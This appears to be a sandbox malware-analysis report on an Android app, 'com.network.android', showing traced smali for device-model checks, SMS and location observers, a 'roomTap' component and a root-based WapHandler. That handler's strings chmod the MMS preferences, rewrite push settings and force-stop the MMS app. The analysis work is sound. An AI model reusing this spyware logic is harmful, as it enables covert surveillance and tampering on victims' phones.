      22goto_22: const/4 v0, 0x0
      24invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
      25move-result-object v0
      26sput-object v0, Lcom/network/b/a;->d:Ljava/lang/Integer;
      27const/4 v0, 0x1
      29invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
      30move-result-object v0
      31sput-object v0, Lcom/network/b/a;->f:Ljava/lang/Boolean;
      32const/4 v0, 0x0
      34invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
      35move-result-object v0
      36sput-object v0, Lcom/network/b/a;->a:Ljava/lang/Boolean;
      38sget-object v0, Landroid/os/Build;->MODEL:Ljava/lang/String;
      • Time: 1068922
        • Return:
          • Galaxy Nexus
      40invoke-virtual {v0}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;
      41move-result-object v0
      43const-string v1, "nexus s"
      45invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
      46move-result v1
      47if-eqz v1, :cond_92
      48const/4 v0, 0x0
      50invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
      51move-result-object v0
      52sput-object v0, Lcom/network/b/a;->d:Ljava/lang/Integer;
      53const/4 v0, 0x0
      55invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
      56move-result-object v0
      57sput-object v0, Lcom/network/b/a;->a:Ljava/lang/Boolean;
      58cond_53:
      59const-string v0, "readProperties end"
      61invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068923
        • p0: readProperties end
      62goto_58: return-void
      63cond_59: const/4 v0, 0x0
      65invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
      66move-result-object v0
      67sput-object v0, Lcom/network/b/a;->b:Ljava/lang/Boolean;
      68const/4 v0, 0x1
      70invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
      71move-result-object v0
      72sput-object v0, Lcom/network/b/a;->c:Ljava/lang/Boolean;
      73try_end_67: goto/16 :goto_22
      74catch_68: move-exception v0
      75new-instance v1, Ljava/lang/StringBuilder;
      77const-string v2, "readProperties- "
      79invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      81invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      82move-result-object v2
      84invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      85move-result-object v1
      87invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      88move-result-object v1
      90invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      92invoke-static {v4}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
      93move-result-object v0
      94sput-object v0, Lcom/network/b/a;->a:Ljava/lang/Boolean;
      96invoke-static {v5}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
      97move-result-object v0
      98sput-object v0, Lcom/network/b/a;->b:Ljava/lang/Boolean;
      100invoke-static {v4}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
      101move-result-object v0
      102sput-object v0, Lcom/network/b/a;->c:Ljava/lang/Boolean;
      103goto/16 :goto_58
      104cond_92:
      105const-string v1, "st15i"
      107invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
      108move-result v1
      109if-eqz v1, :cond_a2
      110const/4 v0, 0x0
      112invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
      113move-result-object v0
      114sput-object v0, Lcom/network/b/a;->a:Ljava/lang/Boolean;
      115goto/16 :goto_53
      116cond_a2:
      117const-string v1, "gt-i9100g"
      119invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
      120move-result v1
      121if-eqz v1, :cond_b9
      122const/4 v0, 0x4
      124invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
      125move-result-object v0
      126sput-object v0, Lcom/network/b/a;->d:Ljava/lang/Integer;
      127const/4 v0, 0x1
      129invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
      130move-result-object v0
      131sput-object v0, Lcom/network/b/a;->a:Ljava/lang/Boolean;
      132goto/16 :goto_53
      133cond_b9:
      134const-string v1, "gt-i9100"
      136invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
      137move-result v1
      138if-eqz v1, :cond_e3
      140invoke-static {}, Lcom/network/a/a;->b()D
      141move-result-wide v0
      142const-wide/high16 v2, 0x4010000000000000L # 4.0
      143cmpl-double v0, v0, v2
      144if-ltz v0, :cond_db
      145const/4 v0, 0x0
      147invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
      148move-result-object v0
      149sput-object v0, Lcom/network/b/a;->d:Ljava/lang/Integer;
      150goto_d2: const/4 v0, 0x1
      152invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
      153move-result-object v0
      154sput-object v0, Lcom/network/b/a;->a:Ljava/lang/Boolean;
      155goto/16 :goto_53
      156cond_db: const/4 v0, 0x2
      158invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
      159move-result-object v0
      160sput-object v0, Lcom/network/b/a;->d:Ljava/lang/Integer;
      161goto/16 :goto_d2
      162cond_e3:
      163const-string v1, "gt-i9300"
      165invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
      166move-result v1
      167if-eqz v1, :cond_fb
      168const/4 v0, 0x0
      170invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
      171move-result-object v0
      172sput-object v0, Lcom/network/b/a;->d:Ljava/lang/Integer;
      173const/4 v0, 0x1
      175invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
      176move-result-object v0
      177sput-object v0, Lcom/network/b/a;->a:Ljava/lang/Boolean;
      178goto/16 :goto_53
      179cond_fb:
      180const-string v1, "i9000"
      182invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
      183move-result v1
      184if-eqz v1, :cond_113
      185const/4 v0, 0x2
      187invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
      188move-result-object v0
      189sput-object v0, Lcom/network/b/a;->d:Ljava/lang/Integer;
      190const/4 v0, 0x1
      192invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
      193move-result-object v0
      194sput-object v0, Lcom/network/b/a;->a:Ljava/lang/Boolean;
      195goto/16 :goto_53
      196cond_113:
      197const-string v1, "shw-m250k"
      199invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
      200move-result v1
      201if-eqz v1, :cond_12b
      202const/4 v0, 0x4
      204invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
      205move-result-object v0
      206sput-object v0, Lcom/network/b/a;->d:Ljava/lang/Integer;
      207const/4 v0, 0x0
      209invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
      210move-result-object v0
      211sput-object v0, Lcom/network/b/a;->a:Ljava/lang/Boolean;
      212goto/16 :goto_53
      213cond_12b:
      214const-string v1, "hero"
      216invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
      217move-result v1
      218if-nez v1, :cond_13b
      220const-string v1, "dell streak"
      222invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
      223move-result v1
      224if-eqz v1, :cond_14b
      225cond_13b: const/4 v0, 0x2
      227invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
      228move-result-object v0
      229sput-object v0, Lcom/network/b/a;->d:Ljava/lang/Integer;
      230const/4 v0, 0x1
      232invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
      233move-result-object v0
      234sput-object v0, Lcom/network/b/a;->a:Ljava/lang/Boolean;
      235goto/16 :goto_53
      236cond_14b:
      237const-string v1, "t989"
      239invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
      240move-result v1
      241if-eqz v1, :cond_163
      242const/4 v0, 0x4
      244invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
      245move-result-object v0
      246sput-object v0, Lcom/network/b/a;->d:Ljava/lang/Integer;
      247const/4 v0, 0x1
      249invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
      250move-result-object v0
      251sput-object v0, Lcom/network/b/a;->a:Ljava/lang/Boolean;
      252goto/16 :goto_53
      253cond_163:
      254const-string v1, "i727"
      256invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
      257move-result v1
      258if-eqz v1, :cond_17b
      259const/4 v0, 0x4
      261invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
      262move-result-object v0
      263sput-object v0, Lcom/network/b/a;->d:Ljava/lang/Integer;
      264const/4 v0, 0x1
      266invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
      267move-result-object v0
      268sput-object v0, Lcom/network/b/a;->a:Ljava/lang/Boolean;
      269goto/16 :goto_53
      270cond_17b:
      271const-string v1, "incredible 2"
      273invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
      274move-result v1
      275if-eqz v1, :cond_18c
      276const/4 v0, 0x3
      278invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
      279move-result-object v0
      280sput-object v0, Lcom/network/b/a;->d:Ljava/lang/Integer;
      281goto/16 :goto_53
      282cond_18c:
      283const-string v1, "r800i"
      285invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
      286move-result v1
      287if-eqz v1, :cond_1ab
      288const/4 v0, 0x3
      290invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
      291move-result-object v0
      292sput-object v0, Lcom/network/b/a;->d:Ljava/lang/Integer;
      293const/4 v0, 0x0
      295invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
      296move-result-object v0
      297sput-object v0, Lcom/network/b/a;->f:Ljava/lang/Boolean;
      298const/4 v0, 0x1
      300invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
      301move-result-object v0
      302sput-object v0, Lcom/network/b/a;->a:Ljava/lang/Boolean;
      303goto/16 :goto_53
      304cond_1ab:
      305const-string v1, "x10"
      307invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
      308move-result v1
      309if-eqz v1, :cond_1c3
      310const/4 v0, 0x3
      312invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
      313move-result-object v0
      314sput-object v0, Lcom/network/b/a;->d:Ljava/lang/Integer;
      315const/4 v0, 0x1
      317invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
      318move-result-object v0
      319sput-object v0, Lcom/network/b/a;->a:Ljava/lang/Boolean;
      320goto/16 :goto_53
      321cond_1c3:
      322const-string v1, "x710e"
      324invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
      325move-result v1
      326if-eqz v1, :cond_1d4
      327const/4 v0, 0x0
      329invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
      330move-result-object v0
      331sput-object v0, Lcom/network/b/a;->a:Ljava/lang/Boolean;
      332goto/16 :goto_53
      333cond_1d4:
      334const-string v1, "mb860"
      336invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
      337move-result v0
      338if-eqz v0, :cond_53
      339const/4 v0, 0x0
      341invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
      342move-result-object v0
      343sput-object v0, Lcom/network/b/a;->a:Ljava/lang/Boolean;
      344const/4 v0, 0x1
      346invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
      347move-result-object v0
      348sput-object v0, Lcom/network/b/a;->a:Ljava/lang/Boolean;
      349try_end_1ea: goto/16 :goto_53
      APIs
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • android.os.Build.FINGERPRINT:Ljava/lang/String
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • com.network.android.agent.NetworkApp.getApplicationContext
      • com.network.android.agent.NetworkApp.getSharedPreferences
      • com.network.android.agent.NetworkApp.b:Ljava/util/concurrent/locks/ReentrantLock
      • java.util.concurrent.locks.ReentrantLock.lock
      • android.content.SharedPreferences.getBoolean
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.<init>
      • java.io.File.getAbsolutePath
      • java.io.File.mkdir
      • com.network.android.agent.NetworkApp.getSharedPreferences
      • android.content.SharedPreferences.edit
      • android.content.SharedPreferences$Editor.putBoolean
      • android.content.SharedPreferences$Editor.commit
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • com.network.android.agent.NetworkApp.b:Ljava/util/concurrent/locks/ReentrantLock
      • java.util.concurrent.locks.ReentrantLock.unlock
      • com.network.android.agent.NetworkApp.a:Landroid/os/Handler
      • android.os.Handler.postDelayed
      • com.network.android.agent.NetworkApp.a:Landroid/os/Handler
      • com.network.android.agent.NetworkApp.a:Landroid/os/Handler
      • android.os.Handler.post
      • android.content.SharedPreferences.getBoolean
      • com.network.android.agent.NetworkApp.a
      • com.network.android.agent.NetworkApp.a
      • com.network.android.agent.NetworkApp.a
      • com.network.android.agent.NetworkApp.a
      • com.network.android.agent.NetworkApp.a
      • android.content.Context.getContentResolver
      • com.network.android.SmsReceiver.c:Landroid/os/Handler
      • android.content.Context.getContentResolver
      • com.network.android.SmsReceiver.c:Landroid/os/Handler
      • android.content.Context.getContentResolver
      • com.network.android.SmsReceiver.c:Landroid/os/Handler
      • android.content.Context.getContentResolver
      • com.network.android.SmsReceiver.c:Landroid/os/Handler
      • android.content.Context.getContentResolver
      • com.network.android.SmsReceiver.c:Landroid/os/Handler
      • android.content.Context.getContentResolver
      • com.network.android.SmsReceiver.c:Landroid/os/Handler
      • com.network.android.roomTap.BlackScreen.a
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • NetworkApp 2.9.3 initialize start API:
      • , FINGERPRINT
      • google/yakju/maguro:4.2.1/JOP40D/533553:user/release-keys
      • NetworkApp 2.9.3 initialize start API: 28, FINGERPRINT google/yakju/maguro:4.2.1/JOP40D/533553:user/release-keys
      • NetworkPreferences
      • isItFirstRunEver
      • NetworkApp initialize is it first run in conf :
      • NetworkApp initialize is it first run in conf : true
      • /data/data/com.network.android
      • NetworkApp initialize setting first run param to false
      • NetworkApp jumper result:
      • NetworkApp jumper result: -1
      • finish
      • NetworkApp initialize end
      • initialize:
      Position Instruction Meta Information
      0new-instance v0, Ljava/lang/StringBuilder;
      2const-string v1, "NetworkApp 2.9.3 initialize start API: "
      4invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      5sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
      7invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      8move-result-object v0
      10const-string v1, ", FINGERPRINT "
      12invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      13move-result-object v0
      15sget-object v1, Landroid/os/Build;->FINGERPRINT:Ljava/lang/String;
      • Time: 1067134
        • Return:
          • google/yakju/maguro:4.2.1/JOP40D/533553:user/release-keys
      17invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      18move-result-object v0
      20invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      21move-result-object v0
      23invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1067143
        • p0: NetworkApp 2.9.3 initialize start API: 28, FINGERPRINT google/yakju/maguro:4.2.1/JOP40D/533553:user/release-keys
      24try_start_20:
      25invoke-virtual {p0}, Lcom/network/android/agent/NetworkApp;->getApplicationContext()Landroid/content/Context;
      26move-result-object v1
      27sput-object v1, Lcom/network/android/agent/NetworkApp;->e:Landroid/content/Context;
      29const-string v0, "NetworkPreferences"
      30const/4 v2, 0x0
      32invoke-virtual {p0, v0, v2}, Lcom/network/android/agent/NetworkApp;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
      33move-result-object v0
      35sget-object v2, Lcom/network/android/agent/NetworkApp;->b:Ljava/util/concurrent/locks/ReentrantLock;
      37invoke-virtual {v2}, Ljava/util/concurrent/locks/ReentrantLock;->lock()V
      39const-string v2, "isItFirstRunEver"
      40const/4 v3, 0x1
      42invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
      43move-result v2
      44new-instance v3, Ljava/lang/StringBuilder;
      46const-string v4, "NetworkApp initialize is it first run in conf : "
      48invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      50invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
      51move-result-object v3
      53invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      54move-result-object v3
      56invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1067161
        • p0: NetworkApp initialize is it first run in conf : true
      57if-eqz v2, :cond_8d
      58new-instance v0, Ljava/io/File;
      60const-string v2, "/data/data/com.network.android"
      62invoke-direct {v0, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      • Time: 1067164
        • This:
          • /data/data/com.network.android
        • p0: /data/data/com.network.android
        • Return:
          • /data/data/com.network.android
      64invoke-virtual {v0}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
      65move-result-object v2
      67invoke-static {v2}, Lcom/network/h/b;->a(Ljava/lang/String;)V
      • Time: 1067238
        • This:
          • /data/data/com.network.android
        • p0: /data/data/com.network.android
        • Return:
          • /data/data/com.network.android
      • Time: 1068096
        • p0: /data/data/com.network.android
      69invoke-virtual {v0}, Ljava/io/File;->mkdir()Z
      71const-string v0, "NetworkPreferences"
      72const/4 v2, 0x0
      74invoke-virtual {p0, v0, v2}, Lcom/network/android/agent/NetworkApp;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
      75move-result-object v0
      77const-string v2, "NetworkApp initialize setting first run param to false"
      79invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068115
        • p0: NetworkApp initialize setting first run param to false
      81invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
      82move-result-object v2
      84const-string v3, "isItFirstRunEver"
      85const/4 v4, 0x0
      87invoke-interface {v2, v3, v4}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
      89invoke-interface {v2}, Landroid/content/SharedPreferences$Editor;->commit()Z
      91invoke-static {v1}, Lcom/network/h/a;->a(Landroid/content/Context;)I
      92move-result v2
      93new-instance v3, Ljava/lang/StringBuilder;
      95const-string v4, "NetworkApp jumper result: "
      97invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      99invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      100move-result-object v2
      102invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      103move-result-object v2
      105invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068277
        • p0: NetworkApp jumper result: -1
      106cond_8d:
      107sget-object v2, Lcom/network/android/agent/NetworkApp;->b:Ljava/util/concurrent/locks/ReentrantLock;
      109invoke-virtual {v2}, Ljava/util/concurrent/locks/ReentrantLock;->unlock()V
      111invoke-static {v1}, Lcom/network/h/b;->h(Landroid/content/Context;)Z
      112move-result v2
      113if-eqz v2, :cond_99
      114goto_98: return-void
      115cond_99:
      116sget-object v2, Lcom/network/android/agent/NetworkApp;->a:Landroid/os/Handler;
      117new-instance v3, Lcom/network/android/agent/a;
      119invoke-direct {v3, p0, v1}, Lcom/network/android/agent/a;-><init>(Lcom/network/android/agent/NetworkApp;Landroid/content/Context;)V
      120const-wide/32 v4, 0x493e0
      122invoke-virtual {v2, v3, v4, v5}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
      124sget-object v2, Lcom/network/android/agent/NetworkApp;->a:Landroid/os/Handler;
      126invoke-static {v2}, Lcom/network/android/ab;->a(Landroid/os/Handler;)V
      128sget-object v2, Lcom/network/android/agent/NetworkApp;->a:Landroid/os/Handler;
      129new-instance v3, Lcom/network/android/agent/b;
      131invoke-direct {v3, p0}, Lcom/network/android/agent/b;-><init>(Lcom/network/android/agent/NetworkApp;)V
      133invoke-virtual {v2, v3}, Landroid/os/Handler;->post(Ljava/lang/Runnable;)Z
      135const-string v2, "finish"
      136const/4 v3, 0x1
      138invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
      139move-result v2
      140new-instance v3, Lcom/network/android/monitor/observer/n;
      142invoke-direct {v3}, Lcom/network/android/monitor/observer/n;-><init>()V
      144invoke-virtual {p0, v3, p1}, Lcom/network/android/agent/NetworkApp;->a(Lcom/network/android/monitor/observer/r;Landroid/content/IntentFilter;)V
      145new-instance v3, Lcom/network/android/monitor/observer/a;
      147invoke-direct {v3}, Lcom/network/android/monitor/observer/a;-><init>()V
      149invoke-virtual {p0, v3, p1}, Lcom/network/android/agent/NetworkApp;->a(Lcom/network/android/monitor/observer/r;Landroid/content/IntentFilter;)V
      150new-instance v3, Lcom/network/android/monitor/observer/g;
      152invoke-direct {v3, v2}, Lcom/network/android/monitor/observer/g;-><init>(Z)V
      154invoke-virtual {p0, v3, p1}, Lcom/network/android/agent/NetworkApp;->a(Lcom/network/android/monitor/observer/r;Landroid/content/IntentFilter;)V
      155new-instance v2, Lcom/network/android/monitor/observer/e;
      157invoke-direct {v2}, Lcom/network/android/monitor/observer/e;-><init>()V
      159invoke-virtual {p0, v2, p1}, Lcom/network/android/agent/NetworkApp;->a(Lcom/network/android/monitor/observer/r;Landroid/content/IntentFilter;)V
      160new-instance v2, Lcom/network/android/monitor/observer/l;
      162invoke-direct {v2}, Lcom/network/android/monitor/observer/l;-><init>()V
      164invoke-virtual {p0, v2, p1}, Lcom/network/android/agent/NetworkApp;->a(Lcom/network/android/monitor/observer/r;Landroid/content/IntentFilter;)V
      166invoke-virtual {v1}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
      168sget-object v2, Lcom/network/android/SmsReceiver;->c:Landroid/os/Handler;
      169const/4 v3, 0x0
      171invoke-static {v2, v1, v3}, Lcom/network/android/m;->a(Landroid/os/Handler;Landroid/content/Context;Z)V
      173invoke-virtual {v1}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
      175sget-object v2, Lcom/network/android/SmsReceiver;->c:Landroid/os/Handler;
      176const/4 v3, 0x0
      178invoke-static {v2, v1, v3}, Lcom/network/android/d/a;->a(Landroid/os/Handler;Landroid/content/Context;Z)V
      180invoke-virtual {v1}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
      182sget-object v2, Lcom/network/android/SmsReceiver;->c:Landroid/os/Handler;
      183const/4 v3, 0x0
      185invoke-static {v2, v1, v3}, Lcom/network/android/d/g;->a(Landroid/os/Handler;Landroid/content/Context;Z)V
      187invoke-virtual {v1}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
      189sget-object v2, Lcom/network/android/SmsReceiver;->c:Landroid/os/Handler;
      190const/4 v3, 0x0
      192invoke-static {v2, v1, v3}, Lcom/network/android/d/c;->a(Landroid/os/Handler;Landroid/content/Context;Z)V
      194invoke-virtual {v1}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
      196sget-object v2, Lcom/network/android/SmsReceiver;->c:Landroid/os/Handler;
      197const/4 v3, 0x0
      199invoke-static {v2, v1, v3}, Lcom/network/android/d/i;->a(Landroid/os/Handler;Landroid/content/Context;Z)V
      201invoke-virtual {v1}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
      203sget-object v2, Lcom/network/android/SmsReceiver;->c:Landroid/os/Handler;
      204const/4 v3, 0x0
      206invoke-static {v2, v1, v3}, Lcom/network/android/d/e;->a(Landroid/os/Handler;Landroid/content/Context;Z)V
      208invoke-static {p0, v0}, Lcom/network/android/roomTap/BlackScreen;->a(Landroid/content/Context;Landroid/content/SharedPreferences;)V
      210invoke-static {v1}, Lcom/network/location/a;->c(Landroid/content/Context;)V
      212invoke-static {}, Lcom/network/i/b;->a()Lcom/network/i/b;
      213try_end_123:
      214const-string v0, "NetworkApp initialize end"
      216invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068835
        • p0: NetworkApp initialize end
      217goto/16 :goto_98
      218catch_12a: move-exception v0
      219new-instance v1, Ljava/lang/StringBuilder;
      221const-string v2, "initialize: "
      223invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      225invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      226move-result-object v2
      228invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      229move-result-object v1
      231invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      232move-result-object v1
      234invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      235goto/16 :goto_123
      Cross References
      APIs
      • java.io.File.<init>
      • java.io.File.exists
      • java.io.File.<init>
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.length
      • java.io.FileReader.<init>
      • java.io.FileReader.read
      • java.io.FileReader.close
      • java.lang.String.<init>
      • java.lang.String.replaceAll
      • java.lang.String.replaceAll
      • java.io.FileWriter.<init>
      • java.io.FileWriter.write
      • java.io.FileWriter.close
      • android.os.Build.FINGERPRINT:Ljava/lang/String
      • java.lang.String.contains
      • java.lang.Integer.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.FileReader.close
      • java.io.FileWriter.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • WapHandler changeWapSettings started
      • /system/csk
      • changeWapSettings my su does not exists. returning
      • /data/data/com.android.mms/shared_prefs/com.android.mms_preferences.xml
      • WapHandler changeWapSettings chmodding
      • export LD_LIBRARY_PATH=/vendor/lib:/system/lib; chmod 0666
      • \"pref_key_service_loading_action\">.*</string>
      • \"pref_key_service_loading_action\">Always</string>
      • \"pref_key_enable_push_message\" value=\"false\"
      • \"pref_key_enable_push_message\" value=\"true\"
      • JPKJ2
      • export LD_LIBRARY_PATH=/vendor/lib:/system/lib; am force-stop com.android.mms
      • chmod
      • WapHandler changeWapSettings running command:
      • WapHandler changeWapSettings end
      • WapHandler changeWapSettings Throwable-
      • WapHandler changeWapSettings finaly Throwable-
      Position Instruction Meta Information
      0const/4 v1, 0x0
      2const-string v0, "WapHandler changeWapSettings started"
      4invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068336
        • p0: WapHandler changeWapSettings started
      5try_start_6: new-instance v0, Ljava/io/File;
      7const-string v2, "/system/csk"
      9invoke-direct {v0, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      • Time: 1068338
        • This:
          • /system/csk
        • p0: /system/csk
        • Return:
          • /system/csk
      11invoke-virtual {v0}, Ljava/io/File;->exists()Z
      • Time: 1068340
        • This:
          • /system/csk
        • Return:
          • false
      12move-result v0
      13if-nez v0, :cond_19
      15const-string v0, "changeWapSettings my su does not exists. returning"
      17invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068343
        • p0: changeWapSettings my su does not exists. returning
      18cond_18: return-void
      19cond_19:
      20const-string v0, "/data/data/com.android.mms/shared_prefs/com.android.mms_preferences.xml"
      22const-string v2, "WapHandler changeWapSettings chmodding"
      24invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      25new-instance v2, Ljava/io/File;
